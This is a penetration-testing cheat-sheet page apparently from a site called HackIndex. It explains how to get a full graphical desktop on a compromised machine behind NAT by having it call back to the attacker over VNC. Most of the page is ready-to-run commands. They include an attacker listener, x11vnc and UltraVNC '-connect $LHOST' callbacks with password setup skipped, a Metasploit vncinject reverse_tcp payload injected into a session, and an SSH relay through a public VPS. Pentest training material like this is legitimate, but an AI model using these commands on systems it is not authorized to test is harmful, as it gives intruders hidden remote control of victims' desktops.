Skip to content
HackIndex logo

HackIndex

VNC Reverse Connection – Receiving Sessions from Behind NAT

3 min read Apr 24, 2026

VNC supports a reverse connection mode where the server initiates the connection to the viewer rather than the other way around. The viewer listens on port 5500 and the VNC server calls back to it. This is useful when the target is behind NAT or a firewall that blocks inbound connections on port 5900 — as long as outbound traffic is allowed, the target can reach your listener.

In a pentest context, if you have command execution on a target but cannot receive inbound connections (e.g. you have a shell via another service), you can trigger a reverse VNC connection back to your attack box to get a full graphical desktop session.

Step 1 – Start the Listener on Your Attack Box

Start vncviewer in listening mode. It binds on port 5500 by default:

┌──(kali㉿kali)-[~]
└─$ vncviewer -listen 0
vncviewer: Listening on port 5500

Keep this terminal open throughout the session.

For a specific port:

┌──(kali㉿kali)-[~]
└─$ vncviewer -listen $LPORT

Step 2 – Trigger the Reverse Connection from the Target

On a Linux target — if you have a shell, start a VNC server on the target and connect it back:

┌──(kali㉿kali)-[~]
└─$ vncserver :1
┌──(kali㉿kali)-[~]
└─$ vncconnect -display :1 $LHOST

If vncserver is not available, use x11vnc for a one-shot connection:

┌──(kali㉿kali)-[~]
└─$ x11vnc -connect $LHOST:5500 -display :0 -nopw -once

-display :0 attaches to the existing X session. -nopw skips password setup. -once closes the server after the first connection.

On a Windows target — from a cmd or PowerShell shell, trigger UltraVNC's reverse connect via the Add New Client function. With command execution, invoke it silently:

C:\Users\Guest\Desktop> "C:\Program Files\UltraVNC\winvnc.exe" -connect $LHOST:5500

Or via the UltraVNC service interface:

C:\Users\Guest\Desktop> sc start uvnc_service
C:\Users\Guest\Desktop> "C:\Program Files\UltraVNC\winvnc.exe" -connect $LHOST

From a Meterpreter session — inject a VNC payload and receive the reverse connection:

Notice

This may be restricted in exams such as OSCP. Verify exam rules before use.

┌──(kali㉿kali)-[~]
└─$ use exploit/windows/local/payload_inject
┌──(kali㉿kali)-[~]
└─$ set payload windows/vncinject/reverse_tcp
┌──(kali㉿kali)-[~]
└─$ set LHOST $LHOST
┌──(kali㉿kali)-[~]
└─$ set LPORT $LPORT
┌──(kali㉿kali)-[~]
└─$ set SESSION 1
┌──(kali㉿kali)-[~]
└─$ run

Step 3 – Receive the Session

When the target connects, your vncviewer listener automatically opens a desktop window showing the target's display. You have full mouse and keyboard control immediately.

Firewall and Port Forwarding

If your attack box is behind NAT, port 5500 must be forwarded to your internal IP at your router or cloud firewall. Alternatively, use an SSH tunnel to forward the VNC port through a machine with a public IP:

On the relay host (public VPS):

┌──(kali㉿kali)-[~]
└─$ ssh -R 5500:127.0.0.1:5500 user@vps -N

Start vncviewer listening locally:

┌──(kali㉿kali)-[~]
└─$ vncviewer -listen 0

The target connects to the VPS on port 5500, which forwards through the SSH tunnel to your local listener.

Scanning for Listening VNC Viewers

Some targets run vncviewer in listen mode themselves — waiting for a server to call in. Scan for these:

┌──(kali㉿kali)-[~]
└─$ nmap -p 5500 $TARGET_IP/24 --open

If port 5500 is open on a host, it may be a vncviewer in listen mode. Connect a VNC server to it from your attack box to push your screen to the target — less useful offensively but worth noting.

References